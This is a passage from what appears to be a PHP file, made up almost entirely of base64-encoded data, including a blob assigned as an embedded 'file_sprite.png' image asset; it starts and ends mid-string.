Q0JXteQ5O2Fp5JfXz6bxLbUTWJ7eXkpfOYcvf9r+MyP2lk/vN3Ey4lxzHR3oVDyu4ZJuhdyU2Fp78RrFlz70yd4PjiAoeoqZAT4I1HO8Dg9DYk+3kovvj4+qK+vx/v37w/kQeM5NlaWsdDdiVmpu35+fugUPfcUPkL2rRAl33xHu6pzHVKP7kpNHxA5+d4n9cvX1xeTYq9nUqfyIsLV+cjXLrV2qr1N9Q+uBrHfvv4L810dar/nw0NKV/niD4tS1+3iH5RxoasTSyPD6p3rFp/0yfchzIzux2+z9D+LwstegL7BNRpNd7Rh11HDjP73RWxu4/6OtTapqXESA9yTuZp+GyX90URvLzIzMhAWFqbO80LOQj8tKSlRuY3+xfXMdanSD8059rSKXNTdy8k/TOODNqdsVkX7Z2Cvwj2XpXZNyz4x0dFKxxUVFfDw8FB6sPX14vbt20hISFAxGy1rno+PYbynB/7+/koGu06uGSGj/Bw7W1sKf/+s+89m6eUo/5SD/0lzk4rhQukzOD/qWEcb0b85z5pO23G+srhIrZvtf/oPvvCY+R9r4NLQwP46x74T0uuRv1381ib2rBNfI35HezvOip5rRQ8L4vP54pdnaPvmZrX+mcxZZX2u1F++TzvOr/QvMWmGr2ywuaHiZ0rkVD4o+r0sttXqNX0gMz0dy2JD2kHLJ/yWIL3ktPik9k5ib1Dy6JH4aK9T97uG3KPH7+/vh7/oMU3iivFllfhfEr+2O+iFkK2vR3rgLqSIb4WHh+PF5ISaH5M47ZQ4tTM2dOu5B+WeFZ3uvNs+ZHdtsLfi2VU/JDkv0s8XBbHRGKs7GEMz0r8OVz1GlfTU7Bepo7b7eSrfMN5LkxIxJ7GurZ+SvPBC9PVRekbKR181y39a/iexr7wlfa+n9Azh0uPWSb++IHIQhz1vvOS8FtHPovhVufTlxGXO+/WXUMTK77tytxhtbMDKzDQ2pQdnLmdvqq8/emwj/pbEAvMxe2nGNue8JRfRNuH+N3BX7gzRco5kyW3RftdRdCcTz/+YwGvrAsqlN/fgem9vPHjwQMUvcZkPjqr/xNfqL/GddwjpmdmHcp4xvrKyonpgztFezAXG/pE1U8Pj/Y+1zVX9dSW/8furV68OzS0tLR3MYR8+4I3om0RM2pF3D743NDS4Vf81/OOGkZ9Y7DGP6v80fNZ/413gpPjGs9Bf3elDo6KinL3dUfic0+5Zm5ubWFxcVPTu3TvTMwTKHfE4bPZV29vbTn85Cp+2ZP1YWFhQd526ujpF9AOzwfg6Ct+IbcTX+m+9/Lyzsa5QbrOaped3Jb+Z3EbfcaV/xn9ISIj67+O4HthMfmLzPxU9Np9m9z0z/SclJbmFbYZ/lNxmOjgq/t0ZRnx3sY3257npZ8zZJyH2HUfJrdf7cf5/0numPr+4I7eZ/MyXxrvySe/jzC3uYmv43/o/w7eO/wOEevxS'; $base64_files['file_sprite.png'] = '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